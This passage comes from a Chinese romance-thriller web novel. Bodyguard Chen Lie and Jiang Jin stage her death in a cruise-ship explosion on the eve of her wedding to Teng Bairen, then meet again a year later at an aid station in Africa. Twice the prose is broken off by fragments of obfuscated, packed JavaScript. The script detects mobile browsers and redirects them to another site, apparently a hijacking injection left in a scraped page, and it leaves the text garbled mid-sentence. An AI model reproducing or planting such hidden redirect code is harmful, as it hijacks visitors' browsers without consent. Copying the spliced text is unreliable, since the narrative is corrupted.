他说:“你不认识她。在你遇上她的时候,她就已经死了,因为你给她造了一个新的身份叫姜雪照。” “你该庆幸她已经不在了。”滕柏仁向来规整的衬衫领在陈列指间发出裂帛的声响:“否则你如果叫她在你面前脱衣服、羞辱她,对我来说,不止这一拳的事。” 龚哲死死拽着陈列:“你疯了?!” 陈列重重把滕柏仁摔回地上:“我要辞职,做到六月十七号为止。之后你想怎么样,你随意。” 轮椅重重压在滕柏仁身上,另名保安立即去扶。 却被滕柏仁一把推开,他仰躺在地上望着天花板,喉咙里发出咕咕的笑声:“有意思。” 那样阴寒的笑声,像血色黄昏被人扼住咽喉的鸽子。小男孩本来呆滞在一旁,此刻哇地一声哭了。 “嘘。”姜堇扶着膝盖在小男孩面前半蹲下,笑望着他的眼睛:“有什么好哭的呢?人生就是这样,有意思得很呢。” “Poppy。”滕柏仁仰躺在地上唤姜堇:“不如你说,我该怎么对他?” “不用你怎么对他。”姜堇站直了一手扶住小男孩的肩,双眸望向陈列:“他属于我。” 她的身后,残阳如血。 陈列忽然想起七年前很小的一件小事。 那时叶炳崐正追秦筱婷,死活要拖陈列陪他去和秦筱婷闺蜜吃饭。 出校门的时候,偶遇姜堇。 姜堇穿淡蓝校服,背着书包,素颜一张清寡的脸。她只看了陈列一眼,便收回眼神。 可她那时的眼神,与现在别无二致—— 「他属于我」。 - 六月。 六月意味着月明船笛风定池莲,意味着江头蝉始鸣,意味着新雨山间清。 六月好似天生用来为“浪漫”一词做注解,而六月的一件大事被无数人奉为这一词语的同义。 提起浪漫婚礼,前有明星或富豪被奉为圭臬,椰树林立的海岛,私享泳池的度假村,三千桌大宴宾客,以及闻风而来的大批媒体。 就连伴手礼,也有各家奢牌赶来加持,一瓶香氛抵得上普通人半月薪资。 可真正圈子里的人,提及这些,只有笑而不语的不屑。 “哪会这般浮夸?”人们笑着窃窃:“看看滕家。” 海岛再奢华也不够避人,轻轻松松便能登临。不似一艘豪华邮轮,徜徉于公海,远离了一切人迹,受邀的人并不多,但个个的名字叫出来,足以让圈内人为之一振。 压力最大的便是安保。 滕柏仁公务缠身,倒是姜堇提前抽身出来,带着团队乘私人飞机先抵达附近岛屿。龚哲带着保镖团队,每日早晚登上邮轮仔细检查。 不然这一船人有任何不测,只怕明日股市都会崩掉半壁江山。 陈列在保镖团队中,手持排爆检测仪,一贯地分外沉默。 龚哲在他身边,欲言又止。 终是忍不住开口:“你真想清楚了?” “嗯?” “辞职。” “哦。”陈列点点头:“嗯。” 龚哲压低声:“你要知道……” 陈列抬手在龚哲肩上搭一下:“知道。” 龚哲只得闭口不言了。他不知陈列身上为何总有这种气场,他看起来并没有多少不羁或挑衅,可当他微扬起凌厉的下巴来,眼底的光却不是任何人可以驯服。 龚哲想:每个女人都会喜欢他。 少女会做这样的梦,为陈列这类的人套上缰绳,让他做自己的不二之臣。 “姜小姐。”船舱入口处有保镖恭谨唤道。 龚哲不再与陈列多谈,立刻低头招呼:“姜小姐。” 同样随之低头的还有陈列。他们都只是保镖,没有正眼看她的权利。 沓沓,沓沓。 细高跟踏过的声音,映入陈列眼里的是她莹白的脚背,再往上,是纤细堪折的脚腕。姜堇今日穿一条利落的窄脚西裤,陈列能够想象,她穿衣的格调很好,搭一件阔肩米白小西装。 还看不出任何新娘模样。 尽管两天后她就要成为别人的新娘。 婚礼前需要进行的私密护理太多,姜堇最贴身的保镖临时更换为同性。陈列随龚哲进行一些外围的安全排查,倒感觉比平日清闲些。 比如日落的蓝调时分,他有闲暇站在海浪拍打的悬崖之上抽一根烟。 眯眼望着余晖橘粉与蓝调的过度,像一杯过分复杂的酒,只被有了阅历的人喝懂。 “你会不会抢婚啊?” 陈列回头,迎风而来的少女,竟是姜太太的女儿。 说起来,她还是姜堇同父异母的妹妹。这两天宾客陆续抵达,陈列倒不曾想,姜堇邀请了她。 她背着手笑嘻嘻朝陈列走来,头发做成了时下流行的法式小羊毛卷,随性地嚼着口香糖,双手一撑跃坐在某块不规则的石块上。 陈列看着她挑了挑眉。 “不是说你和姜小姐有什么啊。”她笑嘻嘻摆手,口香糖爆出个泡泡黏在唇上:“韩剧里不都这么演吗?保镖和豪门大小姐什么的,抢婚,多带劲,我还没看过现实版的。” 她说话间朝陈列伸出一只手。 陈列问:“什么?” “烟,给我一根。” “你成年了么?” 少女冲她瞪眼:“瞧不起谁呢?” 陈列掏出烟盒抛一根给她。 “火机呢?” 陈列又抛给她。 她低头拢火点烟的姿态倒是娴熟,吸进唇间却猛呛一口:“咳咳……你这什么烟这么烈?没有女人能受得了。” 陈列却想:是有的。 曾有人靠在桥洞石壁上抽他的这款烟,抬起一只小腿高跟鞋抵着墙壁,那模样又颓又魅。 “你说真有人抢婚么?”少女不满二十,还做着不切实际的梦,海风中一手托腮:“人到底能为感情做到什么地步?” 素来沉默地陈列忽地开口:“或许比你想象得更多。” “这么浪漫啊?”她笑起来:“你大我几岁来着?也算大人了,可不许骗人。” 陈列却想:浪漫?未见得。 也许根本是浪漫的反面。 - 婚礼前夜。 滕柏仁已于下午飞抵海岛,陈列不跟在姜堇身边,未曾见到他。只听说他去主持滕氏的婚前晚宴,姜堇在自己房间做最后的新娘试装。 新郎在婚礼前看到婚纱被视为不吉,这样的时间差打得刚好。 陈列守在门外。 忽地房间内骚动起来,陈列立刻警惕,不一会儿女保镖出来知会:“也许有情况,马上进来排查。” 陈列和其他两名保镖立刻携仪器入内。 眸光凝一下。 记得七年前,姜堇带他在城中村的窄巷里狂奔、躲避追债的人。他们不敢回船舱,就在巷道里靠墙睡了一夜。 那夜初雪,他把棉服脱了给姜堇垫在身下。也许实在寒凉,他比平时更早醒来,晨光只有熹微的一线。 他靠墙看着斜对面的姜堇,真难为她在这样的情形下也能睡得着。头偏向一边,唇微微张着。 一头长发被蹭得乱了,雪片挂在上面。陈列那时被追债,性命都堪忧,心里却冒出个荒唐想法: 姜堇长发间挂满的雪片,很像新娘头纱。 这时七年过去了,她即将成为别人的新娘。 她已换上婚纱,头发在脑后挽一个优雅低髻,的的确确披着一顶头纱。她立在化妆镜边,相较于几名化妆师的惊惶,她看起来倒是镇定自若。 她们应该正在试口红的颜色,素颜的一张面孔还未扑粉,只唇瓣上抹着丝绒蓝调的正红唇膏。 以陈列并不入流的审美来看,那样的红其实并不适合婚纱。 太浓郁也太抢镜,竟让姜堇美出了几分凄艳。 他垂着眼眸并不直视她,拿着仪器检查过她身边时,他的西裤擦过她婚纱的下摆,窸窸窣窣。 姜堇忽地低低笑了声。 陈列眼皮很轻地颤了下,并未说话。 检查完毕,警报解除。 陈列和保镖团队正要撤出,姜堇的手机响。 “喂?”姜堇接起来,纤白指尖轻轻拨弄着唇膏盒。 “嗯,知道了。我换了礼服就……” 她说着一顿,之后轻轻道:“好。” 她挂了电话,叫住正要出去的陈列:“等一下。” 陈列回眸。 “你随我登一趟船。”姜堇道。 陈列有些意外。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15692260|168667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >姜堇简单解释一句:“会场的效果需要再确认一下。” 陈列点头:“知道了。” 会场的私密性需要保障,姜堇只带陈列一名保镖。 他们乘一艘快艇,姜堇不知是否怕婚纱打皱,并未坐下,扶着玻璃挡板立于船头。海面如打翻的墨,层层褶皱不知书写着什么心事。 浪声只是涌动的白噪音,耳畔所及的声响,唯一只有快艇马达的嗡鸣。 陈列沉默望着姜堇的背影,她的头纱随海风飞扬。海面渐渐浩渺起来,视线所及的范围内再看不到陆地。 陈列有一种感觉,海洋和宇宙其实十分相像,都是把人抛进类似真空的环境里,摒除了一切身份、阶级、社会的干扰,让人去静听自己的心跳。 直到两人登上邮轮。 婚礼布置已全部落成,白色马蹄莲与铃兰绕着桅杆一圈,但一丝光线都没有,在黑暗中变成有些诡异的模糊影子。 陈列跟在姜堇身后。明明那日在高定店内试了那样多奢丽的婚纱,陈列没想到滕柏仁最终拍板的是这样一条。 作为婚纱,它素得近乎古朴。一条白色绸缎裁了围拢而成,素直地垂下来,只些微地掐住一点腰身。 在这样白色花影攒动的浓墨夜色里,让陈列生出一个很不吉利的联想: 这看起来竟像一件丧服。 姜堇高跟鞋踩着铸铁的阶梯,在陈列身前开口:“不问我刚才笑什么?” 陈列只是缄默。 姜堇自顾自地说:“我只是笑,想不到第一个看见我婚纱的男人,竟然是你。” 两人踏入礼堂。 这里已被布置成类似教堂的氛围。挑高穹顶,肃穆的牧师讲坛,一条暗红丝绒的地毯,在浓重的夜色中看起来像某种干涸的血迹。 姜堇为了不提前曝光布置,没有开灯。她沓沓的高跟鞋踩进去,溅出回响。 陈列不知这里有什么好在检查的,滕柏仁控制欲惊人,竟不许姜堇换了婚纱再过来。 姜堇背过身来,一步步退着走,陈列站在门口红毯的另一端,听她笑问:“陈先生,你想过自己的婚礼没有?” 陈列:“没有。” 是真的没有,他混乱的人生自顾不暇。要不是曾经的姜堇莫名其妙挤入他生活,他甚至不觉得感情这事会与他有任何牵扯。 姜堇点点头:“我也没有。可是真奇怪,你看,现在你和我站在这里。你觉得这里怎么样?” 陈列抬眸。 礼堂也似晦暗海面,被浓黑的雾气笼罩。铃兰,马蹄莲,讲坛上的十字架,教堂风格的彩绘玻璃,儿童唱诗班用来搁置曲谱的铸铁架。 一切都变成了灰黑,或浓或浅的黑。 陈列开口前,姜堇却先他一步,手搭在宾客的木椅背上笑道:“我觉得这里,好像一场葬礼。” - 滕家晚宴。 岛屿的超五星级度假村也有滕氏入资,也算自己主场。族内远近各层亲属坐满了宴会厅,觥筹交错间,人人饶有兴致议论着欧洲古早的那盏水晶吊灯。 唯滕柏仁一人坐着轮椅,待在那半弧形的露台,眺望着海面。 风拂着他的额发。 龚哲怕他着凉,又不好直说,只得问:“滕少,不进去招呼客人?” 滕柏仁沉沉地笑了下:“龚哲,这里面的人你认识多少?” 龚哲:“都认识。” 他负责滕柏仁身边的安保,这些人纵使每年只见年节的一两次,背下他们的名录却是龚哲的必修课。 滕柏仁挑起唇角:“在我小时候,对于这些人,却是一个也不认识。” 他小时候因双腿天生残疾,闷在逼仄卧室,就连亲生父母也不对他寄予任何期望。 更遑论这些远近亲戚。 有次过年,姐姐费尽力气把他轮椅搬下楼,劝他去家族聚会露面。轮椅推至餐厅外,他还未进门,听里面的那些人笑谈:“那个残废啊……” 等他长大了一朝得势,这些人却忙不迭的来巴结。 他没有进去招待的意思。龚哲见他始终眺望着海面,循着他视线望去,海面上只得一片漆黑。 忽地一抹绿光一闪,破开黑暗似一只萤火虫,在本该没有生命迹象的宇宙里遨游。 滕柏仁喃喃道:“她出发了。” 不发问是保镖的本分。 可也许那抹幽绿的光在这样的黑暗里,瞧着太诡异了。龚哲忍不住问:“谁?” “Poppy。”滕柏仁轻扯着自己的指节,发出嗑哒嗑哒的声响:“我叫她去看一眼婚礼会场。” “现在?” “对。”滕柏仁点头:“你知不知道她现在穿着婚纱?” 说话间抬起手腕,看了眼表:“快零点了。过了零点,就是六月十七日了。” - 黑暗的礼堂里,姜堇远远背着手站着。 陈列:“你的头纱……” 姜堇偏了偏头:“嗯?” 陈列轻摇了摇下巴:“算了,没什么。” 正当这时,一阵轻轻的乐声响起。 太过突如其来而令人没有防备。陈列几乎立刻把手伸到自己的西装后——那里有枪,在不属于任何主权国家管辖的公海上,枪是实弹。 接着他听出来,那是一阵他听过的旋律。 滕柏仁轻轻哼唱的:“Littlepoppy,sweetpoppy……” 这时只是一阵乐声,过分老式的八音盒里发出来的。唱针刮擦着有乐符凸起的金属面,像是一下下刮擦着人的耳膜,单调乐声听起来似唱诗班的孩童,在轻轻吟唱。 声调过分童真,因而显得没任何感情。 在空旷的教堂里,竟有种让人毛骨悚然的恐怖。 - 遥远海岛的露台上,滕柏仁始终遥遥望着,直到那抹绿光消失了。 龚哲揣测,那应该是姜堇登上了邮轮,为了避免场地布置提前曝光,因而并没开灯。 可滕柏仁始终望着。 一片浓郁的黑暗让人方向感尽失。即便以龚哲的专业训练,他也很难锁定邮轮在公海的方位。 滕柏仁到底在看什么? 龚哲克制着自己的好奇并不发问。海风拂动铸铁围栏,发出嗑哒嗑哒的诡谲声响,滕柏仁又抬了下手腕,唇间轻轻地低吟着什么。 剧烈海风中,龚哲竟要跨前一步才能听清。 他是在倒数:“十,九,八,七……” 可他在倒数什么? 滕柏仁继续低声地:“……三,二,一。”他身后的宴会厅内,依然觥筹交错。 突然“轰”地一声巨响。 龚哲呆呆站着,响起很久以前看过的《奥本海默》电影,在威力足以毁灭地球的原子弹爆炸之时,人眼前先看到那一片宛若地狱的燎原之火,那一刻,天地宇宙一片寂静。 推后几秒,才有剧烈爆破声在人耳旁炸开。 龚哲呆呆望着滕柏仁始终盯着的邮轮方位,先是炸开了漫天的烟花,越来越密、越来越密,在人眼几不能承受那般缭乱之时,轰地一声爆炸,整艘邮轮陷入一片火海。 宴会厅里骚乱了好一阵,才有人想起奔至露台上来。 接着越来越多人涌出,人人望着墨色海面上那颗灼灼燃烧的火球惊呼:“着火了!” “明天要举办婚礼的邮轮着火了!” 他们太过惊愕地挤在露台边,甚至忘了关注身为明日新郎的滕柏仁坐着轮椅,正在露台的最边缘,眯眼望着那火球滕起的方向。 63. 黄历 二十年前。 那年六月热得出奇,竟已有了炎夏的架势。 滕柏仁的卧室前,当着一根大榕叶的枝桠,蝉鸣拼了命的聒噪,让人在冷气打得过低的房间内,也是焦躁出一脑门的汗。 九岁的滕柏仁一个人坐在窗前。 女佣进来收拾换洗衣物,意味深长看了他背影一眼。并未与他说话,捧了脏衣娄出去,嘴里嘀咕道:“怎么总感觉有股味道……是不是失禁啊。” 她出去的时候门没带严实。 于是女佣们低声交谈的声音钻进门缝里来。 一个新来的年轻佣人问:“今天家里怎么没人?” “怎么你不知道吗?”一个年老的答:“今天少小姐办葬礼,人都过去了。” “什么?出车祸那个……?” “嗯。” “这就已经头七了?葬礼怎么这么低调……” “一个私生女,也就我们私下无人的时候叫一声少小姐。哪里能高调?随便糊弄一下也就过去了。” “楼上的那个不去啊?”有人对着木制楼梯上努努嘴:“毕竟是送最后一程,他们俩不是关系好吗?” “他?”年老的那个声音里透出几分不屑来:“谁管他?一个残废,家里的隐形人而已……” 龚哲站在滕柏仁的轮椅后,本能地退了一步、两步,冲天的火光把墨黑海面映得宛若白昼。 龚哲是滕柏仁得势后才跟在他身边的保镖,自然不知道,二十年前,滕家的私生女、那生命力旺盛得近乎野蛮的少女,她的葬礼定在六月十七日。 黄历上写着那日:诸事不宜。 可没人管这些。所有人只想把这场私生女的葬礼尽快糊弄过去。 滕柏仁失去了唯一照拂他的人,甚至没人有耐心带他去姐姐的葬礼。他一个人闷在逼仄卧室,过分繁茂的大叶榕再无人替他修剪,挡住了窗前全部视线,他甚至望不见送灵柩出门的队伍。 没有人知晓为何滕氏祖宅坐落的港岛半山上,从此再无大叶榕。 龚哲终是反应了过来:“滕少,我们现在……” “走吧。”滕柏仁操控着轮椅。现在他的轮椅十分智能了,不像二十年前葬礼那日、他被一个人遗忘在卧室,无法去上厕所,尿液顺着轮椅的轮轴滴答、滴答…… 滕柏仁轻飘飘地说:“看来,明天的婚礼要变葬礼了。” - 六月十七日,出现在众人面前的滕家二少很平静。 所有人带着适合邮轮派对的奢华服饰,忙不迭打电话找海岛唯一的高定店订适合葬礼的服装。 唯独滕柏仁,他没参与这场混乱——他穿着本来为婚礼准备的礼服,黑西装配白衬衫,口袋插一只白色铃兰,竟有一种本来为葬礼准备的肃穆。 他坐在轮椅上,看本是请来主持婚礼的神父,冷汗涔涔地翻阅着圣经,为滕氏少夫人的最后一程祝祷。 龚哲站在滕柏仁身后,想起滕柏仁常常挂在嘴旁的一句话—— 他对姜堇说:“我要你碎成一片一片的心。” 现在姜堇的心脏的确碎成了一片片,物理意义上的。 龚哲很久以后才知道,被滕家藏得极深的那个私生女,是在下半山的窄道上,与一个醉酒驾驶超跑的阔少相撞身亡。 车祸现场相当惨烈,她的车当场爆炸,尸骨无存。 龚哲是在听闻了那件往事后,忽然觉得滕柏仁为姜堇操持的那场葬礼,好似二十年前那场葬礼的一次复刻。 现在的滕柏仁已有了能力为姐姐办一场葬礼。 这一次,他不会再缺席。 他在公海上布置了盛大的邮轮,铃兰与马蹄莲是最适合葬礼的纯洁,随着沉没的巨轮缓缓陷入海面。曾经所有鄙夷她私生女身份的滕家亲友,都齐聚一堂,送她最后一程。 龚哲脊骨发寒地想——或许那打一开始就不是一场婚礼,而是一场计划内的葬礼。 滕柏仁只是借用了他心中最像姐姐的姜堇,来办一场他想象中的葬礼。 - 又一年后,非洲。 “嗨,Lilac,你来瞧一瞧他。”一个穿当地传统服饰的非洲妇女,头上顶着的木盆内托一个男童。男童四肢细瘦,小腹却似皮球鼓出。 被唤作“Lilac”的年轻女人,有张典型亚洲面孔。 她穿一件浅灰的紧身T恤,配军绿的工装裤,为防蚂蝗大夏天也蹬一双山地靴。她极瘦,精神头却显得很好,一头浓密乌发看起来大约到肩膀长度,在脑后束一个利落的马尾。 她怀里正在照拂那个婴孩,一边回应非洲妇女:“让我看看。” 她用听诊器的动作很熟练。 “要抽血。”她抽出一颗糖来,在小男孩面前晃晃:“巴旦木巧克力,所以你不要哭,好吗?” 非洲妇女叹道:“还好你学医。” “我不学医。”年轻女人笑道:“我只是在这里打下手。” “那你怎么会这些。” 她耸耸肩:“我什么都会一点。” “为什么?” “为什么……?”她偏头似思考了一下,半开玩笑般:“大约这样才能活下去。” 非洲妇女深以为然,点头附和:“是,非洲这样的原始环境,蚊虫、高热、疟疾,的确很艰险。” 年轻女人只是微笑。 好似在她心中,面对这恶劣的自然环境,反而有种过尽千帆的轻松。 “对了你知道吗?”非洲妇女接过她怀中原本抱着的婴孩,替她哄着:“今天有一支国际援助队过来。听说里面有个年轻帅哥,也是亚裔。” “有多帅?” 非洲妇女耸一下肩:“你们亚洲人说的帅,我是不认同的。亚洲人太瘦弱,像我们这里的细尾獴。” 年轻女人爽朗大笑:“你说我像细尾獴?” “噢,Lilac,你知道我不是这个意思,我只是不相信会来个帅哥而已。” 帅——姜堇顶着剧烈的日头微眯眼想了想。她从青春期开始就跟其他少女不同,在她眼里好像没有这个概念。 她看人的时候不看五官,只看眼神。 她只在意一个人的眼神看起来像豹子,或者绵羊。而说起豹子一般的眼神…… 当姜堇略微陷入思绪,旁边的非洲妇女忽地轻碰一下她肩,冲她挑眉的意思是——你就说帅不帅吧! 姜堇循着她视线抬眸,微是一怔。 走进来的亚裔男人即便混在一堆欧洲籍中,也显得高大。肩宽,因而显得往下收紧的腰线利落好看。寸头理得很短,也只有他这般锋锐的下颌线扛得住这发型。 晒得偏黑,不知是不是喜欢抽烟,顶着阳光时习惯性眯眼,眉和眼的色泽都极浓,是片化不开的墨。 现在无论亚欧都鲜少见到这类型的帅了。镜头推崇漂亮的、文雅的、甚至孱弱的男人。可是眼前这男人的帅,不是贡献给镜头捕捉的,他出现在你面前,像一把燎原的火,攫取你所有视线,那荒草微微焦枯的味道,是他身上难以抵挡的荷尔蒙。 男人看到年轻女人,也是很微妙的一怔。 随即神色恢复如常,朝她走来:“现在该怎么称呼你?” 女人答:“Lilac。” 紫丁地花的英文名,堇菜科。 男人无波无澜地点一下头,接着是自然地对接工作。 最近天气太潮热,激惹的大批蚊虫令疟疾横行,国际救助站里分外忙乱。炽烈的阳光从白布帐篷的缝隙里透下来,男人始终在忙,来不及喝一口水,咽口水的时候喉结滚动。 直到夕阳西沉。 暂告段落的工作让人不想吃饭,甚至不想喝水。男人远远站在帐篷外抽一根烟,帐篷这边的非洲向导端着盒饭,远远朝他呼喊,示意他不要走远、也许会有豹子。 远处蛰伏的山峦就像一只巨型的豹,黄昏烫金着它锋利的脊线。 男人扬了扬手,以动作示意“知道了”。 方才的年轻女人走到他背后:“还没来得及问,你呢?现在该怎么称呼你?” 男人睨她一眼,嗓音低沉:“还是陈列。” 姜堇到此时终是忍不住笑了一声—— 不管陈列语调再怎样平沉,但听听他说的话:“现在该怎么称呼你?”/“还是陈列。” 她的身份一变再变,他却永远是陈列。连个英文名都没有,简单,干脆,利索。 姜堇背着手偏一偏头:“我猜,不是热烈的烈,也不是冷冽的冽,就是摆放物品的那个陈列,对吗?” 陈列又睨她一眼,抽口烟,不答她的话。 姜堇也不恼,跳坐上他对面的荒草堆。她工装裤加马丁靴的造型很适合这环境,坐在草堆上还能轻巧地晃一晃腿,金色夕阳在她肩线上镀一层金边。 真奇怪,非洲夕阳浓烈得似要将其他人吞没,落在她身上,却似赶来为她的背影喝彩。 她从口袋里掏出一只小铁皮盒来,应该经受过剧烈撞击,边缘不规则地瘪下去。打开来竟是一盒半干的烟丝,她又从口袋里摸出小小纸片来,卷一卷,把烟丝裹进去。 “你就好了。”她抽一口自制的烟,好似学陈列微微眯起眼:“刚转移到这里来,还有物资。像我们待了两个月,烟和咖啡早没有了,只有就地取材。” 在她们这里,几乎人人抽烟。 每日的工作量太大,不能喝酒,只能靠咖啡和烟草吊着精神。本地的烟草不烈,抽进嘴里竟是一股浓浓咖啡香。 两人在黄昏里一坐一站,没人说话,烟草灼烧的嘶嘶声似被夕晖所点。 直到姜堇跳下草堆来,路过陈列身边走回帐篷时,要笑不笑的语气:“记不记得一年前我们分开之前,我跟你说过什么?” - 一年前,邮轮。 明日婚礼的布置沦陷在一片黑暗里,变作纯粹的黑白调,莫名看起来好似一场葬礼。 甚至迎接新人的红毯,在这样的氛围里也变作干涸的血色。陈列站在礼堂门口,看姜堇穿着曳地的婚纱,一个人朝着牧师讲坛走去。 直到她在那里冲陈列回过头来:“知不知道刚刚柏仁给我打的那通电话,说了些什么?” 陈列只是看着她。 她挑起一边唇角,无妆,只有抹了口红的双唇在浓黑里也似干涸血迹,那让她的笑颜显得瑰丽又诡异。 耳畔八音盒的旋律,令人毛骨悚然地刮擦过耳膜。 “他说……”姜堇伸手在讲坛下摸索了下,对着陈列扬起纤细手臂,手里握着一把枪:“既然是我的狗想要逃跑,让我自己结果了他。” 陈列的手还伸在西装背后,如果他要拔枪的话,还有一线机会与她同时开枪。 可陈列的动作滞了一瞬。 便是在这时,姜堇的枪口朝边上偏了偏:“观礼座椅的最后一排底下藏着台电脑,找到它。” 陈列过去找到电脑。 “打开。”姜堇道。 陈列打开笔记本,发现上面是运行到一半的程序。 “推迟它,三十秒就够了。”姜堇丢开枪,只是远远地看着他:“陈列,信我。” 她也就说了这么四个字而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜堇坐在船头,带着花掉的口红:“陈列,你真的是个傻子。” 陈列掌着马达沉默。 可能连他自己都说不清,为什么当七年前、姜堇把那柄刀交给他自己跑掉以后,他还是义无反顾选择了相信她。 不,这甚至称不上一种选择。 一切发生得太急太快,他并未经过理性思考,只是血液里涌动的本能作祟。 一艘船逆向驶来,漫天的火光让船上的灯光显得微不足道。 甲板放下缆梯来,姜堇与陈列一同登船。 “嗨Lilac。”与姜堇握手的女人,便是七年前江边、与姜堇搭话的女人:“准备好跟我走了么?” “当然。”姜堇一身婚纱早已被海水溅湿,回过头来叫陈列:“跟我一起走吧,这一次。” 我没有再抛下你。 陈列摇头。 “为什么?”姜堇问:“我们需要这一场爆炸,从此世界上再没有姜雪照,也再没有陈列,找你爸追债那些人会以为你不在了。” 陈列:“我知道。” “那为什么不跟我走?” “我们分开吧,阿堇。”陈列的神情看上去平静而倦怠,他身后遥遥能望见巨轮火光冲天。 姜堇抿一下唇:“你去哪?” “我加入了白客组织。”陈列有些散漫地挑起唇角,也许比姜堇见过的十八岁的他更意气风发:“即便没有今天这场火,我也能让过去的陈列从世界上消失。” 他重获新生。 姜堇望着他。 陈列:“我能问你一个问题么?” 姜堇点头。 “为什么要做这一切?” 姜堇笑了,她扬起纤细手臂,一枚枚把固定头纱的小卡子拆下来,摘下头纱拎在手里:“我不是早跟你说过么,陈列?对我这样出身微寒的女孩来说,成长不是长大,是进化。优胜劣汰,适者生存。” 陈列:“一定要靠跟滕柏仁在一起的方式?” 姜堇的唇往上扬,每每她笑得有些凄凉时,都会让人想起十八岁在警局路灯下的她。 “我希望不用。”她说:“我希望有一天这个世界,一个女人不用靠跟一个男人绑定在一起,靠她自己也能做成更多事。” 船缓缓靠岸。 晨曦的空气里有微微的潮气。陈列十七岁时从山城初到江城,首先闻到的便是这样一种潮气。 那时他为了躲避追债、几乎是赤条条来,到了现在他手里依然空无一物,几乎是赤条条去。 姜堇同他一起站在码头,身后一盏黑色铸铁的路灯尚且亮着灯,昏黄灯光透出晨雾,码头上渐渐有了卖鱼货的摊贩。 姜堇那一身婚纱已换下,穿着一件T恤和牛仔裤。是来接应她那女人的衣服,个子比她高些,松垮垮挂在她肩上。 陈列冲她点一下头,转身离去。 这一次,换她看着他的背影。 他也换了一身黑T黑裤,船上一个男人借他的。走路时手插在兜里,姿势显得不羁而散漫,甚至犹有余裕去看他身边的鱼货小摊上,那白色塑料箱里的鹞鱼是否新鲜。 好像到了这时,他紧绷着肩扛了许久的担子,终于放下了。 “陈列。”姜堇的声音顺着晨风传来。 陈列并没有回来,只是脚步很轻一顿。 “这是我第二次放你走。”姜堇说:“如果下一次我们再遇到的话,我就不会放过你了。” 64. 逃 送孩子过来的非洲女人,挤着眉轻撞一下姜堇:“你去找帅哥说什么?” 姜堇笑答:“闲聊。” “你是会闲聊的人么?”女人眉毛挑起来。 “为什么不?”姜堇耸耸肩:“帅哥谁不喜欢?” “所以你也觉得他帅?” 姜堇正要答话,陈列走进来,去拿角落那张方桌搁置的笔记本电脑。他们的组织过来进行一些网络铺设工作,帮助医疗、教育、文化等援助工作的信息化。 他似完全没听姜堇与女人的闲聊,只是忙着收拾自己的工作。 “我觉得他……”姜堇轻挑起唇角:“还可以吧。” - 姜堇今日本是白班。 可夜间几名上吐下泻的孩童突然送来,让所有人连轴转地忙了整夜。她除却学会一些基础的护士工作,另外打扫呕吐物、清洗衣物,各种杂活她也要做。 陈列半夜被一则讯号唤醒。 走进来的时候看她正蹲在地上,打扫一滩呕吐物。 有时陈列会想,她当了四年的姜雪照,那样的纸醉金迷,那样的穷奢极欲,真难为她还能习惯当下的生活。 直到清晨。 陈列从自己的帐篷出来时,看到姜堇坐在草堆边,脸上的表情稍稍怔忪,那让她比实际年龄看起来小些,像某种小动物。 她在这里也从不化妆,顶着纯素的一张脸,天生的冷白皮并晒不黑,只是双颊晒出少许点点雀斑,透着些可爱。 刚洗过脸,下巴挂着未完全擦干的水珠。忙了整夜不得睡眠,又要投入新一天的工作,她迎着晨曦坐着发呆,时而把脸埋进双掌之间,轻轻摩挲。 陈列走近她身边时,她抬头,闻到陈列身上有股清新的薄荷牙膏味。 忽地低头笑了。 这么多年过去,陈列竟还用当年那款牙膏。一种让人想起童年的薄荷味道,有时姜堇与他接吻,这股薄荷味会透过他唇间的淡淡烟草味钻出来。 陈列睨她一眼,将一只不锈钢茶缸放在她旁边的石头上。 姜堇深吸一口气:“呵,奢侈!” 陈列给她冲了一杯雀巢速溶咖啡。 她仰起脸对着陈列:“刚转移过来的物资就是充足。” “不充足。”陈列虚点一下那杯咖啡:“每人的份额都有记录,这是我今早的份。” “这么好心让给我?”姜堇捧起咖啡杯,脸埋进去深深又嗅一口:“陈列,你最大的问题,就出在你是个好人。” “怕你太困而已。”陈列沉着张脸说:“对那些来看病的孩子不负责。” 姜堇端着咖啡站起来:“我们护士长也整夜没睡,我让给她。” 陈列不言语,只是看着她。 她走了两步突地方向一转,带了三分笑意,倚住旁边一棵树,抱起一条手臂,山地靴尖点地,一个很闲适的姿势:“算了。从道义上来说,我应该把咖啡让她,但……” “我舍不得。”她盈然而笑,端着咖啡杯大大地喝了一口:“陈列,我不像你,我从来不是个好人,也就不讲什么道义了。” 陈列不理她,大跨步地离开。 - “Lilac,你这样不行。”非洲女人抱起双臂。 “嗯?”姜堇边忙边应了声。 “帅哥来了一个多星期了,你每次去找他说话,他都爱答不理的。” 姜堇笑:“这是为什么?是不是我不够好看?” “的确,你看看每天多少漂亮姑娘缠着他说话。”女人捧着姜堇的脸:“你太瘦了!一双眼睛倒是漂亮,但你从不化妆,又晒出了雀斑!” 姜堇只是弯着唇角,女人道:“你听我的,来参加我们的篝火晚会吧,我帮你化个妆,好吗?” 姜堇:“可是他不来的话,怎么办呢?” “不会。”女人手一挥:“我们去邀请他们的团队,他会来的。” 那天晚会是难得的闲暇。 草原上入了夜气温陡降,姜堇拢着件防风外套坐在篝火边,喝一杯当地特色的象果蜜酒。这位名为Sarah的非洲女人,穿越一种援助队的年轻人们,走到篝火边将姜堇拉起来:“你怎么没化妆就跑过来了?” 姜堇笑着拨弄一下自己的头发:“我洗了头。” 在这里洗头不是那么随意的事。姜堇她们常常自嘲,前两天披着头发,后两天束着马尾,再后两天呢绑起丸子头。 看发型就知道这里的女生们几天没洗头。 Sarah摇手指:“不不,你得化妆才行,不然怎么拼得过那些缠着他说话的女生?” 姜堇也是来到这里才获得全新体验。 